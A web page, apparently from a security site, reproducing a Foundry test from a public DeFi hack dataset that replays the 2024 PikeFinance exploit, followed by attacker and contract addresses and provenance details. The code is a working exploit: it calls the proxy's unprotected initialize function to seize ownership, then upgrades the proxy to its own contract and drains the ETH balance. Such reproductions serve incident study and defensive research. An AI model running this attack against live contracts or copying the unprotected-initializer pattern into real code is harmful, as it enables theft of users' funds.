Public reproduction file
src/test/2024-04/PikeFinance_exp.sol
Public reproduction file for dataset entry PikeFinance.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.15;4import "forge-std/Test.sol";6// @KeyInfo - Total Lost : 1.4M7// Attacker : https://etherscan.io/address/0x19066f7431df29a0910d287c8822936bb7d89e238// Attack Contract : https://etherscan.io/address/0x1da4bc596bfb1087f2f7999b0340fcba03c47fbd9// Vulnerable Contract : https://etherscan.io/address/0xfc7599cffea9de127a9f9c748ccb451a34d2f06310// Attack Tx : https://etherscan.io/tx/0xe2912b8bf34d561983f2ae95f34e33ecc7792a2905a3e317fcc98052bce6643112// @Info13// Vulnerable Contract Code : https://etherscan.io/address/0xfc7599cffea9de127a9f9c748ccb451a34d2f063#code15// @Analysis16// Post-mortem :17// Twitter Guy :18// Hacking God :20interface IPikeFinanceProxy {21 function initialize(address, address, address, address, uint16, uint16) external;22 function upgradeToAndCall(address, bytes memory) external;23}25contract PikeFinance is Test {26 uint256 blocknumToForkFrom = 19_771_058;27 address constant PikeFinanceProxy = 0xFC7599cfFea9De127a9f9C748CCb451a34d2F063;29 function setUp() public {30 vm.deal(address(this), 0);31 vm.createSelectFork("mainnet", blocknumToForkFrom);32 }34 function testExploit() public {35 emit log_named_decimal_uint(" Attacker ETH Balance Before exploit", address(this).balance, 18);37 // Initialize proxy contract38 address _owner = address(this);39 address _WNativeAddress = address(this);40 address _uniswapHelperAddress = address(this);41 address _tokenAddress = address(this);42 uint16 _swapFee = 20;43 uint16 _withdrawFee = 20;44 IPikeFinanceProxy(PikeFinanceProxy).initialize(45 _owner, _WNativeAddress, _uniswapHelperAddress, _tokenAddress, _swapFee, _withdrawFee46 );48 // Upgrade proxy contract49 address newImplementation = address(this);50 bytes memory data = abi.encodeWithSignature("withdraw(address)", address(this));51 IPikeFinanceProxy(PikeFinanceProxy).upgradeToAndCall(newImplementation, data);53 // Log balances after exploit54 emit log_named_decimal_uint(" Attacker ETH Balance After exploit", address(this).balance, 18);55 }57 function withdraw(58 address addr59 ) external {60 (bool success,) = payable(addr).call{value: address(this).balance}("");61 require(success, "transfer failed");62 }64 function proxiableUUID() external pure returns (bytes32) {65 return 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;66 }68 receive() external payable {}69}Analysis
Dataset entry
Public Foundry test for “PikeFinance” (2024-04-30). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2024-04/ATM_exp.solSame month in the dataset · 87 lines
- src/test/2024-04/BigBangSwap_exp.solSame month in the dataset · 118 lines
- src/test/2024-04/BNBX_exp.solSame month in the dataset · 70 lines
- src/test/2024-04/ChaingeFinance_exp.solSame month in the dataset · 145 lines
- src/test/2024-04/FIL314_exp.solSame month in the dataset · 55 lines
- src/test/2024-04/GFA_exp.solSame month in the dataset · 63 lines
- src/test/2024-04/GROKD_exp.solSame month in the dataset · 172 lines
- src/test/2024-04/Hackathon_exp.solSame month in the dataset · 63 lines
- src/test/2024-04/HedgeyFinance_exp.solSame month in the dataset · 149 lines
- src/test/2024-04/HoppyFrogERC_exp.solSame month in the dataset · 57 lines
- src/test/2024-04/MARS_exp.solSame month in the dataset · 101 lines
- src/test/2024-04/NGFS_exp.solSame month in the dataset · 91 lines
- src/test/2024-04/OpenLeverage2_exp.solSame month in the dataset · 239 lines
- src/test/2024-04/Rico_exp.solSame month in the dataset · 119 lines
- src/test/2024-04/SATX_exp.solSame month in the dataset · 82 lines
- src/test/2024-04/SQUID_exp.solSame month in the dataset · 86 lines
- src/test/2024-04/SumerMoney_exp.solSame month in the dataset · 144 lines
- src/test/2024-04/UnverifiedContr_0x00C409_exp.solSame month in the dataset · 96 lines
- src/test/2024-04/UPS_exp.solSame month in the dataset · 75 lines
- src/test/2024-04/WSM_exp.solSame month in the dataset · 84 lines
- src/test/2024-04/XBridge_exp.solSame month in the dataset · 55 lines
- src/test/2024-04/YIEDL_exp.solSame month in the dataset · 97 lines
- src/test/2024-04/Yield_exp.solSame month in the dataset · 94 lines
- src/test/2024-04/Z123_exp.solSame month in the dataset · 62 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x19066f7431df29a0910d287c8822936bb7d89e23
- Attack Contract
0x1da4bc596bfb1087f2f7999b0340fcba03c47fbd
- Vulnerable Contract
0xfc7599cffea9de127a9f9c748ccb451a34d2f063
- Attack Tx
0xe2912b8bf34d561983f2ae95f34e33ecc7792a2905a3e317fcc98052bce66431
- Explorer: https://etherscan.io/address/0x19066f7431df29a0910d287c8822936bb7d89e23
- Explorer: https://etherscan.io/address/0x1da4bc596bfb1087f2f7999b0340fcba03c47fbd
- Explorer: https://etherscan.io/address/0xfc7599cffea9de127a9f9c748ccb451a34d2f063
- Explorer: https://etherscan.io/address/0xfc7599cffea9de127a9f9c748ccb451a34d2f063#code
File record
- Name
- PikeFinance
- Path
- src/test/2024-04/PikeFinance_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- fe811fea14a03bfb04e86617dec58459ff2ac670
- Language
- Solidity
- Size
- 70 lines
- Date
- 2024-04-30
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2024-04/PikeFinance_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob fe811fea14a03bfb04e86617dec58459ff2ac670, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.